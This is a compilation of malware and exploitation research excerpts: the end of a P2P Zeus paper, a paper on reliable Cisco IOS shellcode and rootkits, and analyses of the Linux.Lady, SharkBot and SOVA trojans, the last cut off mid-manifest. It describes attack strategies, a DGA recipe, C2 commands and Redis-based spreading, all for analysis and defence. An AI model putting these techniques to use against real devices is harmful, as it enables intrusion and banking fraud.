Active thread The Zeus active communication pattern consists of a large loop which repeats every 30 minutes. The function of the active communication loop is to keep Zeus itself, as well as the peer list and proxy list, up to date. ## 4 Domain Name Generation Algorithm As mentioned, Zeus contains a Domain Generation Algorithm, activated if all of a bot’s neighbors are unresponsive, or the bot cannot fetch updates for a week. The DGA generates domains where Zeus can download a fresh RSA-2048 signed peer list. The DGA is a very potent backup mechanism, which makes long-term poisoning or sinkholing attacks against Zeus very difficult. ### 4.1 Algorithm Details The Zeus Domain Generation Algorithm generates 1000 unique domains per week. A bot entering the DGA starts at a random position in the current week’s domain list and sequentially tries all domains until it finds a responsive domain. The DGA uses top-level domains taken from the set {biz, com, info, net, org, ru}. ## 5 Related Work Early insights on P2P Zeus were provided by Lelli and abuse.ch. Special attention to the lifecycle of Zeus has been given by Stone-Gross. The most recent previous account of P2P Zeus that we know of is given in a technical report by CERT.pl. Our previous work has provided a comparison of the Zeus P2P protocol to other P2P botnet protocols. Our current work differs in that we provide a much more detailed insight into the functionality and resilience of P2P Zeus in particular. ## 6 Conclusion P2P Zeus is a significant evolution of earlier Zeus variants. Compared to traditional centralized versions of Zeus, P2P Zeus is much more resilient against takedown attempts. Potential countermeasures against P2P Zeus are complicated by its application of RSA-2048 signatures to mission-critical messages, and rogue bot insertion is complicated by the Zeus message encryption mechanism which makes the use of random bot identifiers impossible. Poisoning attempts are forced to use widely distributed IPs due to a per-bot IP filter which only allows a single IP per /20 subnet. The network’s resilience against takedown efforts is further increased by its use of a Domain Generation Algorithm backup channel, and by an automatic blacklisting mechanism. P2P Zeus demonstrates that modern P2P botnets represent a new level of botnet resilience, previously unseen in centralized botnets. ## Acknowledgements We would like to thank Tillmann Werner for the collaboration on reversing the Zeus peer-to-peer protocol. We also thank Christian J. Dietrich and Tomasz Bukowski for sharing their insights with us. This work was supported by the European Research Council Starting Grant “Rosetta” and the EU FP7-ICT-257007 SysSec project.
# Killing the Myth of Cisco IOS Diversity: Recent Advances in Reliable Shellcode Design **Ang Cui** **Jatin Kataria** **Salvatore J. Stolfo** Department of Computer Science, Columbia University, New York NY, 10027, USA [email protected] [email protected] [email protected] ## ABSTRACT IOS firmware diversity, the unintended consequence of a complex firmware compilation process, has historically made reliable exploitation of Cisco routers difficult. With approximately 300,000 unique IOS images in existence, a new class of version-agnostic shellcode is needed in order to make the large-scale exploitation of Cisco IOS possible. We show that such attacks are now feasible by demonstrating two different reliable shellcodes which will operate correctly over many Cisco hardware platforms and all known IOS versions. We propose a novel two-phase attack strategy against Cisco routers and the use of offline analysis of existing IOS images to defeat IOS firmware diversity. Furthermore, we discuss a new IOS rootkit which hijacks all interrupt service routines within the router and its ability to use intercept and modify process-switched packets just before they are scheduled for transmission. This ability allows the attacker to use the payload of innocuous packets, like ICMP, as a covert command and control channel. The same mechanism can be used to stealthily exfiltrate data out of the router, using response packets generated by the router itself as the vehicle. We present the implementation and quantitative reliability measurements by testing both shellcode algorithms against a large collection of IOS images. As our experimental results show, the techniques proposed in this paper can reliably inject command and control capabilities into arbitrary IOS images in a version-agnostic manner. We believe that the technique presented in this paper overcomes an important hurdle in the large-scale, reliable rootkit execution within Cisco IOS. Thus, effective host-based defense for such routers is imperative for maintaining the integrity of our global communication infrastructures. ## 1. INTRODUCTION Over the past decade, Cisco IOS has been shown to be vulnerable to the same types of attacks that plague general-purpose computers. Various exploitation techniques and proof-of-concept rootkits have been proposed. However, all current offensive techniques are impeded by an unintended security feature of IOS: diversity. As Felix “FX” Lindner points out, Cisco IOS is not a homogenous collection of binaries, but a collection of approximately 300,000 diverse firmwares. Although never intended as a defense against exploitation, this diversity makes the creation of reliable exploits and rootkits difficult. We propose a two-phase attack strategy against Cisco routers: **Stage 1:** Leverage some IOS invariant to compute a host fingerprint. Using computed information, inject stage-2 shellcode. Furthermore, exfiltrate host fingerprint back to attacker. **Stage 2:** Persistent rootkit with covert command and control capability. The attacker will use exfiltrated fingerprint data to construct a version-specific rootkit, which is loaded via the second-stage shellcode. The attacker is at a disadvantage when attempting an online attack. However, since all IOS images can be obtained, and such images are not polymorphically mutated, an attacker can construct a large collection of version-specific rootkits offline. If the attacker is able to simultaneously inject a simple rootkit and exfiltrate a host-environment fingerprint, the CPU overhead of this shellcode will be distributed across a large number of random IOS processes. Unlike with shellcodes which take over a specific process, the network administrator cannot detect unusual CPU spikes within any particular process using commands like `show proc cpu`, making it very difficult to detect by conventional means. The remainder of this paper is organized as follows: Section 2 outlines the challenges of reliable IOS rootkit execution and provides motivation for the need for version-agnostic shellcodes. Section 3 presents a survey of advancements in Cisco IOS exploitation over the past decade and provides a timeline of public disclosures of significant vulnerabilities and exploitation techniques. Section 4 outlines a general two-stage attack strategy against unknown Cisco devices. Section 5 presents our first reliable IOS shellcode, a disassembling shellcode, which was first proposed by Felix Lindner for PowerPC-based Cisco devices. Section 6 presents our second reliable IOS shellcode. This shellcode hijacks all interrupt handler routines within the victim device and is faster, stealthier, and more reliable than our first shellcode. Experimental data, performance, overhead, and reliability measurements are presented in Section 8. Potential defenses against our proposed shellcodes are discussed in Section 9. Concluding remarks are presented in Section 10. Lastly, the full source code of both shellcodes are listed in Appendix A. ## 2. MOTIVATION Several recent studies demonstrate that there are vast numbers of unsecured, vulnerable embedded devices on the Internet. Such devices are vulnerable to the same types of attacks as general-purpose computers and can be systematically exploited in much the same way. For example, various exploitable vulnerabilities and rootkits have been found and disclosed for Cisco’s flagship system, IOS. Cisco devices running IOS constitute a significant portion of our global communication infrastructure and are deployed within critical areas of our residential, commercial, financial, government, military, and backbone networks. Typical of the embedded security landscape, IOS is an aging system which does not employ standard protection schemes found within modern operating systems and does not have any host-based anti-virus to speak of. In fact, not only is the installation of third-party anti-virus (which does not yet exist for IOS) not possible via any published OS interface, any attempt to do so will also violate the vendor’s EULA and thus void existing support contracts. Consider the availability of proof-of-concept exploits and rootkits, the wide gamut of high-value targets which can be compromised by the exploitation of devices like routers and firewalls, and the lack of host-based defenses within closed-source embedded device firmwares. Such conditions should make the vast numbers of vulnerable embedded devices on the Internet highly attractive targets. Indeed, we have observed successful attempts to create botnets using Linux-based home routers. As Section 3 shows, the necessary techniques of exploiting Cisco IOS and installing rootkits on running Cisco routers are well understood. However, an obstacle still stands in the way of reliable large-scale exploitation of Cisco devices: firmware diversity. As Felix Lindner and others have pointed out, there are over 300,000 unique versions of Cisco IOS. Diverse hardware platforms, overlapping feature sets, cryptography export laws, licensing agreements, and varying compilation and build procedures all contribute to create an operating environment that is highly diverse. Although unintentional and not strictly a defense mechanism, this firmware diversity has made the deployment of reliable attacks and shellcodes difficult in practice. Therefore, in order for IOS exploitation to be feasible and practical, reliable shellcode that operates correctly across large populations of IOS versions is needed. ## 3. RELATED WORK A timeline of significant advancements in offensive technologies against Cisco IOS is listed below. - FX, 2003: FX analyzes several IOS vulnerabilities and various exploitation techniques. - Lynn, 2005: Lynn described several IOS shellcode and exploitation techniques, demonstrating VTY binding shellcode. - Lynn, 2005: Cisco and ISS Inc. files injunction against Michael Lynn. - Uppal, 2007: Uppal releases IOS Bind shellcode v1.0. - Davis, 2007: Davis releases IOS FTP server remote exploit code. - Muniz, 2008: Muniz releases DIK (Da IOS rootKit). - FX, 2009: FX demonstrates IOS diversity, demonstrates reliable disassembling shellcode and reliable execution methods involving ROMMON. - Muniz and Ortega, 2011: Muniz and Ortega release GDB support for the Dynamips IOS emulator and demonstrate fuzzing attacks against IOS. The techniques presented in this paper extend the above line of work by introducing novel methods of constructing reliable IOS shellcodes and stealthy exfiltration, making large-scale exploitation feasible across all IOS-based devices. ## 4. TWO-STAGE ATTACK STRATEGY Sections 5 and 6 discuss two reliable shellcode techniques. Unlike existing IOS shellcodes, these two examples are designed to work in a two-phase attack. Figure 1 illustrates the attack process. In general, this attack first computes a series of memory locations which the second-stage shellcode will intercept to obtain minimal rootkit capability. This series of memory locations is also exfiltrated back to the attacker after the first-stage rootkit finishes execution. Using this information as a host fingerprint, the attacker queries a database of pre-computed fingerprints for all known IOS images to determine the exact micro-version of firmware running on the victim router. Once this is known, a version-specific rootkit can be constructed automatically, then loaded onto the victim router via the rootkit installed by the first-stage shellcode. Each shellcode computes a different set of features. In the case of the disassembling shellcode, a 2-tuple is computed; the address of an invariant string and the address of the password authentication function. In the case of the interrupt hijacking shellcode, an n-tuple is exfiltrated, containing a list of memory addresses for all interrupt handler routines on the victim device. ## 5. SHELLCODE #1: DISASSEMBLING SHELLCODE First proposed by Felix Lindner for PowerPC-based routers, the disassembling shellcode scans the victim router’s memory twice in order to locate and patch a target function based on some functional invariant, and works as follows: A. **Find String Addr:** Scan through memory, looking for a specific string pattern. For example, ‘%BadSecrets’. B. **Find String-Xref:** With the string’s memory location known, construct the instruction which loads this address. Rescan through memory, looking for code which references this string. C. **Patch Function:** The data reference is located within the function we wish to find. Search within this function for the desired intercept point, for example, the function entry point, or a specific branch instruction. Any function which prints a predictable string can be identified and patched in this manner. A particularly useful function is the credential verification function, which prints ‘%Bad Secrets’ when the wrong enable password is entered. As experimental results show, this first-stage shellcode reliably disables password authentication for all versions of Cisco 7200 and 3600 IOS images tested. However, it failed for all Cisco 2800 series IOS images. ## 6. SHELLCODE #2: INTERRUPT HIJACKER As Section 5 showed, the disassembling shellcode can be used reliably, at least for several major hardware platforms, to locate and intercept a critical function which handles credential verification in IOS. However, this shellcode must search through large portions of the router’s memory twice in order to identify the target string reference and the target function. This required computation frequently triggered the router’s watchdog timer, leaving evidence of the shellcode in the router’s log. In general, we want to minimize the amount of computation required by the first-stage shellcode. The interrupt hijacking first-stage shellcode executes quickly enough to avoid such timer exceptions, even on heavily utilized routers. The interrupt hijacking shellcode performs a single scan through the router’s .text section, locating and intercepting the end of all interrupt handler routines. ## 7. STEALTHY DATA EXFILTRATION After the first-stage shellcode completes, it yields a sequence of memory addresses where the `eret` instruction is located. This data can serve as a host fingerprint, allowing the attacker to identify the exact micro-version of the victim’s IOS firmware. Several known methods can be used to exfiltrate this fingerprint back to the attacker. The attacker can carry out a VTY binding to open a reverse shell back to the attacker, or simply use the console connection to generate an ICMP packet back to the attacker. Depending on which services are publicly accessible on the router, the attacker can inject the fingerprint data into the server response. ## 8. EXPERIMENTAL DATA The reliability of the disassembling shellcode and the interrupt hijack shellcode are shown in Table 1. Three major Cisco router platforms, the 7200, 3600, and 2800 series routers are tested. The two proposed shellcode algorithms are tested against 159 IOS images, ranging from IOS version 12.0 to 15. ## 9. DEFENSE In order to categorically mitigate against the offensive techniques described in this paper, host-based defenses must be introduced into the router’s firmware. Since persistent rootkits must modify portions of the router’s code, a self-checksumming mechanism can be injected into IOS to detect and prevent unauthorized modification of IOS itself. ## 10. CONCLUSION We present a two-stage attack strategy against Cisco IOS, as well as two unique multi-stage shellcodes capable of reliable execution within a large collection of IOS images on different hardware platforms. The disassembling shellcode operates by scanning through the router’s memory, looking for a string reference, allowing the attacker to disable authentication on the victim router. The interrupt hijack shellcode injects a second-stage shellcode capable of continuously monitoring incoming packets for specially crafted command and control packets from the attacker. ## 11. ACKNOWLEDGEMENTS This work was partially supported by DARPA Contract, CRASH Program, SPARCHS, FA8750-10-2-0253. ## REFERENCES 1. kaiten.c IRC DDOS Bot. 2. Injunction Against Michael Lynn. 3. The End of Your Internet: Malware for Home Routers, 2008. 4. Network Bluepill. Dronebl.org, 2008. 5. New worm can infect home modem/routers. 6. Vijay Bollapragada, Curtis Murphy, and Russ White. Inside Cisco IOS Software Architecture. Cisco Press, 2000. 7. Ang Cui. 8. Ang Cui and Salvatore J. Stolfo. A quantitative analysis of the insecurity of embedded network devices: results of a wide-area scan. 9. Ang Cui and Salvatore J. Stolfo. Defending embedded systems with software symbiotes. 10. Andy Davis. Cisco IOS FTP server remote exploit. 11. Felix “FX” Lindner. Cisco Vulnerabilities. 12. Felix “FX” Lindner. Cisco IOS Router Exploitation. 13. Michael Lynn. Cisco IOS Shellcode, 2005. 14. Sebastian Muniz. Killing the myth of Cisco IOS rootkits: DIK, 2008. 15. Sebastian Muniz and Alfredo Ortega. Fuzzing and Debugging Cisco IOS, 2011. 16. Varun Uppal. Cisco IOS Bind shellcode v1.0. ### APPENDIX **A. DISASSEMBLING SHELLCODE** Source code is available to reputable researchers upon formal request. **B. INTERRUPT HIJACKING SHELLCODE** Source code is available to reputable researchers upon formal request.
# Doctor Web detected Linux Trojan written in Go Doctor Web analysts have detected and examined a new Linux Trojan which is able to run a cryptocurrency mining program on an infected computer. Its key feature lies in the fact that it is written in Go, a language developed by Google. A Trojan, named Linux.Lady.1, can execute a limited range of actions such as determining an external IP address of the infected computer, attacking other computers, and downloading and launching a cryptocurrency mining software. Linux.Lady.1 is written in the Google-developed programming language—Go. Although Doctor Web security researchers have already encountered Trojans written in Go, such malware programs are not frequently detected in the wild. The architecture of the Trojan consists of numerous libraries published on GitHub—the most popular collaborative application development service. Once Linux.Lady.1 is launched, it sends the following information to the command and control server: the current Linux version and the name of the operating system family it belongs to, a number of CPUs, names and a number of running processes, and so on. The Trojan receives a configuration file necessary for downloading and launching a cryptocurrency mining program in order to generate income which is then transferred to the cybercriminals’ e-wallet. Linux.Lady.1 can also determine an external IP address of the infected computer using special websites specified in the configuration file and attack other computers of the network. The Trojan tries to connect to the remote servers via a port used by the Redis (remote dictionary server) data structure store, without entering a password in expectation that the system has not been configured correctly. If the connection is established, the malware adds a downloader script, named Linux.DownLoader.196, to the cron scheduler. The script downloads a copy of Linux.Lady.1 and installs it on the compromised host. Then the Trojan adds a key for connection to the computer over SSH protocol to the list of authorized keys. Dr.Web for Linux successfully detects and removes Linux.Lady.1 and Linux.DownLoader.196; therefore, these malicious programs pose no threat to our users.
# SharkBot: A “New” Generation Android Banking Trojan NCC Group, as well as many other researchers, noticed a rise in Android malware last year, especially Android banking malware. Within the Threat Intelligence team of NCC Group, we’re looking closely at several of these malware families to provide valuable information to our customers about these threats. Next to the more popular Android banking malware, NCC Group’s Threat Intelligence team also watches new trends and new families that arise and could be potential threats to our customers. One of these ‘newer’ families is an Android banking malware called SharkBot. During our research, we noticed that this malware was distributed via the official Google Play Store. After discovery, we immediately notified Google and decided to share our knowledge via this blog post. NCC Group’s Threat Intelligence team continues analysis of SharkBot and uncovering new findings. Shortly after we published this blog post, we found several more SharkBot droppers in the Google Play Store. All appear to behave identically; in fact, the code seems to be a literal ‘copy-paste’ in all of them. Also, the same corresponding C2 server is used in all the other droppers. After discovery, we immediately reported this to Google. ## Summary SharkBot is an Android banking malware found at the end of October 2021 by the Cleafy Threat Intelligence Team. At the moment of writing, the SharkBot malware doesn’t seem to have any relations with other Android banking malware like Flubot, Cerberus/Alien, Anatsa/Teabot, Oscorp, etc. The Cleafy blog post stated that the main goal of SharkBot is to initiate money transfers (from compromised devices) via Automatic Transfer Systems (ATS). As far as we observed, this technique is an advanced attack technique which isn’t used regularly within Android malware. It enables adversaries to auto-fill fields in legitimate mobile banking apps and initiate money transfers, where other Android banking malware, like Anatsa/Teabot or Oscorp, require a live operator to insert and authorize money transfers. This technique also allows adversaries to scale up their operations with minimum effort. The ATS features allow the malware to receive a list of events to be simulated, and they will be simulated in order to do the money transfers. Since these features can be used to simulate touches/clicks and button presses, it can be used to not only automatically transfer money but also install other malicious applications or components. This is the case of the SharkBot version that we found in the Google Play Store, which seems to be a reduced version of SharkBot with the minimum required features, such as ATS, to install a full version of the malware some time after the initial install. Because of the fact of being distributed via the Google Play Store as a fake Antivirus, we found that they have to include the usage of infected devices in order to spread the malicious app. SharkBot achieves this by abusing the ‘Direct Reply‘ Android feature. This feature is used to automatically send reply notifications with a message to download the fake Antivirus app. This spread strategy abusing the Direct Reply feature has been seen recently in another banking malware called Flubot, discovered by ThreatFabric. What is interesting and different from the other families is that SharkBot likely uses ATS to also bypass multi-factor authentication mechanisms, including behavioral detection like biometrics, while at the same time it also includes more classic features to steal user’s credentials. ## Money and Credential Stealing Features SharkBot implements four main strategies to steal banking credentials in Android: - **Injections (overlay attack)**: SharkBot can steal credentials by showing a WebView with a fake login website (phishing) as soon as it detects the official banking app has been opened. - **Keylogging**: SharkBot can steal credentials by logging accessibility events (related to text fields changes and buttons clicked) and sending these logs to the command and control server (C2). - **SMS intercept**: SharkBot has the ability to intercept/hide SMS messages. - **Remote control/ATS**: SharkBot has the ability to obtain full remote control of an Android device (via Accessibility Services). For most of these features, SharkBot needs the victim to enable the Accessibility Permissions & Services. These permissions allow Android banking malware to intercept all the accessibility events produced by the interaction of the user with the User Interface, including button presses, touches, TextField changes (useful for the keylogging features), etc. The intercepted accessibility events also allow detecting the foreground application, so banking malware also use these permissions to detect when a targeted app is open, in order to show the web injections to steal user’s credentials. ## Delivery SharkBot is distributed via the Google Play Store, but also using something relatively new in the Android malware: ‘Direct reply‘ feature for notifications. With this feature, the C2 can provide a message to the malware which will be used to automatically reply to the incoming notifications received in the infected device. This has been recently introduced by Flubot to distribute the malware using the infected devices, but it seems SharkBot threat actors have also included this feature in recent versions. In the following image, we can see the code of SharkBot used to intercept new notifications and automatically reply to them with the received message from the C2. We detected the SharkBot reduced version published in the Google Play on 28th February, but the last update was on 10th February, so the app has been published for some time now. This reduced version uses a very similar protocol to communicate with the C2 (RC4 to encrypt the payload and Public RSA key used to encrypt the RC4 key, so the C2 server can decrypt the request and encrypt the response using the same key). This SharkBot version, which we can call SharkBotDropper, is mainly used to download a fully featured SharkBot from the C2 server, which will be installed by using the Automatic Transfer System (ATS) (simulating click and touches with the Accessibility permissions). This malicious dropper is published in the Google Play Store as a fake Antivirus, which really has two main goals (and commands to receive from C2): - **Spread the malware using ‘Auto reply’ feature**: It can receive an ‘autoReply’ command with the message that should be used to automatically reply to any notification received in the infected device. During our research, it has been spreading the same Google Play dropper via a shortened Bit.ly URL. - **Dropper+ATS**: The ATS features are used to install the downloaded SharkBot sample obtained from the C2. With this command, the app installed from the Google Play Store is able to install and enable Accessibility Permissions for the fully featured SharkBot sample it downloaded. It will be used to finally perform the ATS fraud to steal money and credentials from the victims. The fake Antivirus app, the SharkBotDropper, published in the Google Play Store has more than 1,000 downloads, and some fake comments like ‘It works good’, but also other comments from victims that realized that this app does some weird things. ## Technical Analysis ### Protocol & C2 The protocol used to communicate with the C2 servers is an HTTP based protocol. The HTTP requests are made in plain, since it doesn’t use HTTPS. Even so, the actual payload with the information sent and received is encrypted using RC4. The RC4 key used to encrypt the information is randomly generated for each request and encrypted using the RSA Public Key hardcoded in each sample. That way, the C2 can decrypt the encrypted key (rkey field in the HTTP POST request) and finally decrypt the sent payload (rdata field in the HTTP POST request). If we take a look at the decrypted payload, we can see how SharkBot is simply using JSON to send different information about the infected device and receive the commands to be executed from the C2. Two important fields sent in the requests are: - **ownerID** - **botnetID** Those parameters are hardcoded and have the same value in the analyzed samples. We think those values can be used in the future to identify different buyers of this malware, which based on our investigation is not being sold in underground forums yet. ### Domain Generation Algorithm SharkBot includes one or two domains/URLs which should be registered and working, but in case the hardcoded C2 servers were taken down, it also includes a Domain Generation Algorithm (DGA) to be able to communicate with a new C2 server in the future. The DGA uses the current date and a specific suffix string (‘pojBI9LHGFdfgegjjsJ99hvVGHVOjhksdf’) to finally encode that in base64 and get the first 19 characters. Then, it appends different TLDs to generate the final candidate domain. The date elements used are: - Week of the year - Year It uses the ‘+’ operator, but since the week of the year and the year are integers, they are added instead of appended, so for example: for the second week of 2022, the generated string to be base64 encoded is: 2 + 2022 + “pojBI9LHGFdfgegjjsJ99hvVGHVOjhksdf” = 2024 + “pojBI9LHGFdfgegjjsJ99hvVGHVOjhksdf”. In previous versions of SharkBot (from November-December of 2021), it only used the current week of the year to generate the domain. Including the year in the generation algorithm seems to be an update for better support of the new year 2022. ### Commands SharkBot can receive different commands from the C2 server in order to execute different actions in the infected device such as sending text messages, downloading files, showing injections, etc. The list of commands it can receive and execute is as follows: - **smsSend**: used to send a text message to the specified phone number by the TAs - **updateLib**: used to request the malware downloads a new JAR file from the specified URL, which should contain an updated version of the malware - **updateSQL**: used to send the SQL query to be executed in the SQLite database which SharkBot uses to save the configuration of the malware (injections, etc.) - **stopAll**: used to reset/stop the ATS feature, stopping the in-progress automation. - **updateConfig**: used to send an updated config to the malware. - **uninstallApp**: used to uninstall the specified app from the infected device - **changeSmsAdmin**: used to change the SMS manager app - **getDoze**: used to check if the permissions to ignore battery optimization are enabled, and show the Android settings to disable them if they aren’t - **sendInject**: used to show an overlay to steal user’s credentials - **getNotify**: used to show the Notification Listener settings if they are not enabled for the malware. With these permissions enabled, SharkBot will be able to intercept notifications and send them to the C2 - **APP_STOP_VIEW**: used to close the specified app, so every time the user tries to open that app, the Accessibility Service will close it - **downloadFile**: used to download one file from the specified URL - **updateTimeKnock**: used to update the last request timestamp for the bot - **localATS**: used to enable ATS attacks. It includes a JSON array with the different events/actions it should simulate to perform ATS (button clicks, etc.). ## Automatic Transfer System One of the distinctive parts of SharkBot is that it uses a technique known as Automatic Transfer System (ATS). ATS is a relatively new technique used by banking malware for Android. To summarize, ATS can be compared with web injects, only serving a different purpose. Rather than gathering credentials for use/scale, it uses the credentials for automatically initiating wire transfers on the endpoint itself (so without needing to log in and bypassing 2FA or other anti-fraud measures). However, it is very individually tailored and requests quite some maintenance for each bank, amount, money mules, etc. This is probably one of the reasons ATS isn’t that popular amongst (Android) banking malware. ### How Does It Work? Once a target logs into their banking app, the malware would receive an array of events (clicks/touches, button presses, gestures, etc.) to be simulated in a specific order. Those events are used to simulate the interaction of the victim with the banking app to make money transfers, as if the user were doing the money transfer by themselves. This way, the money transfer is made from the device of the victim by simulating different events, which makes it much more difficult to detect the fraud by fraud detection systems. ## IoCs **Sample Hashes:** - a56dacc093823dc1d266d68ddfba04b2265e613dcc4b69f350873b485b9e1f1c (Google Play SharkBotDropper) - 9701bef2231ecd20d52f8fd2defa4374bffc35a721e4be4519bda8f5f353e27a (Dropped SharkBot v1.64.1) - 20e8688726e843e9119b33be88ef642cb646f1163dce4109b8b8a2c792b5f9fc (Google Play SharkBot dropper) - 187b9f5de09d82d2afbad9e139600617685095c26c4304aaf67a440338e0a9b6 (Google Play SharkBot dropper) - e5b96e80935ca83bbe895f6239eabca1337dc575a066bb6ae2b56faacd29dd (Google Play SharkBot dropper) **SharkBotDropper C2:** - hxxp://statscodicefiscale[.]xyz/stats/ **‘Auto/Direct Reply’ URL used to distribute the malware:** - hxxps://bit[.]ly/34ArUxI **C2 servers/Domains for SharkBot:** - n3bvakjjouxir0zkzmd[.]xyz (185.219.221.99) - mjayoxbvakjjouxir0z[.]xyz (185.219.221.99) **RSA Public Key used to encrypt RC4 key in SharkBot:** ``` MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2R7nRj0JMouviqMisFYt0F2QnScoofoR7svCcjrQcT ``` **RSA Public Key used to encrypt RC4 Key in the Google Play SharkBotDropper:** ``` MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu9qo1QgM8FH7oAkCLkNO5XfQBUdl+pI4u2tvyFiZZ6 ```
# Technical Analysis of SOVA Android Malware **Introduction** In September 2021, SOVA, a new Android Banking Trojan, was announced in a known underground forum. It had multiple capabilities and was basically almost in the go-to market phase. Until March 2022, multiple versions of SOVA were found and some of these features were already implemented, such as 2FA interception, cookie stealing, and injections for new targets and countries (e.g., multiple Philippine banks). In July 2022, we discovered a new version of SOVA (v4) which presents new capabilities and seems to be targeting more than 200 mobile applications, including banking apps and crypto exchanges/wallets. Starting from May 2022, Threat Actors (TAs) behind SOVA have started to deliver a new version of their malware, hiding within fake Android applications that show up with the logo of a few famous ones, like Chrome, Amazon, NFT platform, or others. ## Explore AndroidManifest.xml `AndroidManifest.xml` is not human-readable, so we use `apktool` to decompile the APK first to be able to read the `AndroidManifest.xml`. We need to read this file to know the ability of this malicious APK and know more information such as entry points for the app, Activities, Services, Intents, app permissions, and package name. ```xml <uses-feature android:name="android.hardware.telephony"/> <uses-permission android:name="android.permission.WAKE_LOCK"/> <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/> <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/> <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/> <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/> <uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS"/> <uses-permission android:name="android.permission.USE_FINGERPRINT"/> <uses-permission android:name="android.permission.GET_TASKS"/> <uses-permission android:name="com.google.android.gms.permission.ACTIVITY_RECOGNITION"/> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.RECEIVE_LAUNCH_BROADCASTS"/> <uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES"/> <uses-permission android:name="android.permission.ACTION_MANAGE_OVERLAY_PERMISSION"/> <uses-permission android:name="android.permission.CALL_PHONE"/> <uses-permission android:name="android.permission.WRITE_SETTINGS"/> <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/> <uses-permission android:name="android.permission.RECEIVE_SMS"/> <uses-permission android:name="android.permission.QUICKBOOT_POWERON"/> <uses-permission android:name="android.permission.RECORD_AUDIO"/> <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/> <uses-permission android:name="android.permission.BLUETOOTH"/> <uses-permission android:name="android.permission.GET_ACCOUNTS"/> <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"/> <uses-permission android:name="android.permission.CLEAR_APP_CACHE"/> <uses-permission android:name="android.permission.INTERNET"/> <uses-permission android:name="android.permission.READ_CONTACTS"/> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.READ_PHONE_STATE"/> <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/> <uses-permission android:name="android.permission.INSTALL_PACKAGES"/> <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/> <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/> <uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/> <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.WRITE_CONTACTS"/> <uses-permission android:name="android.permission.REORDER_TASKS"/> <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/> <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES"/> <uses-permission android:name="android.permission.READ_PHONE_NUMBERS"/> <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/> <uses-permission android:name="android.permission.SEND_SMS"/> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS"/> <uses-permission android:name="android.permission.VIBRATE"/> ``` The malware gets lots of permissions to steal SMS such as `READ_SMS`, `SEND_SMS`, and `RECEIVE_SMS`, get permission to steal contacts such as `READ_CONTACTS`, `WRITE_CONTACTS`, and `READ_PHONE_NUMBERS`, get permission to uninstall packages such as `QUERY_ALL_PACKAGES`, `REQUEST_INSTALL_PACKAGES`, `INSTALL_PACKAGES`, and `REQUEST_DELETE_PACKAGES` to launch overlay attacks when a specific application is launched, usually bank apps. It gets permission to access the location of the victim’s phone such as `ACCESS_FINE_LOCATION`, `ACCESS_COARSE_LOCATION`, and `ACCESS_BACKGROUND_LOCATION`. Other permissions such as `DISABLE_KEYGUARD` to disable the phone lock for the time being the application is used, `REORDER_TASKS` allows the app to move tasks to the foreground and background, `RECORD_AUDIO` allows the app to record audio, `CALL_PHONE` allows an application to initiate a phone call without going through the Dialer user interface, `ACTION_MANAGE_OVERLAY_PERMISSION` controlling which apps can draw on top of other apps helps the overlay attack, and `RECEIVE_BOOT_COMPLETED` to receive a notification when the system finishes booting. We get the entry point of the malicious application `com.devapprove.a.ru.news.ui.LauncherActivity`, which is not found in the `classes.dex`. This is an indication that the malware is packed and other classes will be loaded into the application at runtime. We need to unpack it so the malware will drop the decrypted dex file which contains the malicious functions the malware will do to the victim’s device such as stealing SMS or how the malware will communicate to the C2 server. ```xml <activity android:exported="true" android:name="com.devapprove.a.ru.news.ui.LauncherActivity" android:theme="@android:style/Theme.Translucent.NoTitleBar.Fullscreen"> <intent-filter> <category android:name="android.intent.category.LAUNCHER"/> <action android:name="android.intent.action.MAIN"/> </intent-filter> </activity> ``` This service called `HeadlessSmsSendService` uses `SEND_RESPOND_VIA_MESSAGE` permission, which enables the malware to send a request to other apps to handle respond-via-message events for incoming calls. ```xml <service android:exported="true" android:name="com.devapprove.a.ru.news.HeadlessSmsSendService" android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE"> <intent-filter> <action android:name="android.intent.action.RESPOND_VIA_MESSAGE"/> <category android:name="android.intent.category.DEFAULT"/> <data android:scheme="sms"/> <data android:scheme="smsto"/> <data android:scheme="mms"/> <data android:scheme="mmsto"/> </intent-filter> </service> ``` The malware will use `NotificationService` to handle the device notification. The malware will be able to read/write all device notifications such as SMS notifications and messages notifications and system notifications. This is used to intercept when 2FA SMS is received or OTP SMS. ```xml <service android:enabled="true" android:exported="false" android:name="com.devapprove.a.ru.news.service.NotificationService" android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"> <intent-filter> <action android:name="android.service.notification.NotificationListenerService"/> </intent-filter> </service> ``` The malware uses this service `AppAccessibilityService` to declare an Accessibility Service in the Android manifest. An accessibility service is an application that provides user interface enhancements to assist users with disabilities, or who may temporarily be unable to fully interact with a device. The capabilities the malware requests are in `@xml/accessibilityservice` in the res folder. ```xml <service android:exported="false" android:label="@string/app_name" android:name="com.devapprove.a.ru.news.service.AppAccessibilityService" android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"> <intent-filter> <action android:name="android.accessibilityservice.AccessibilityService"/> 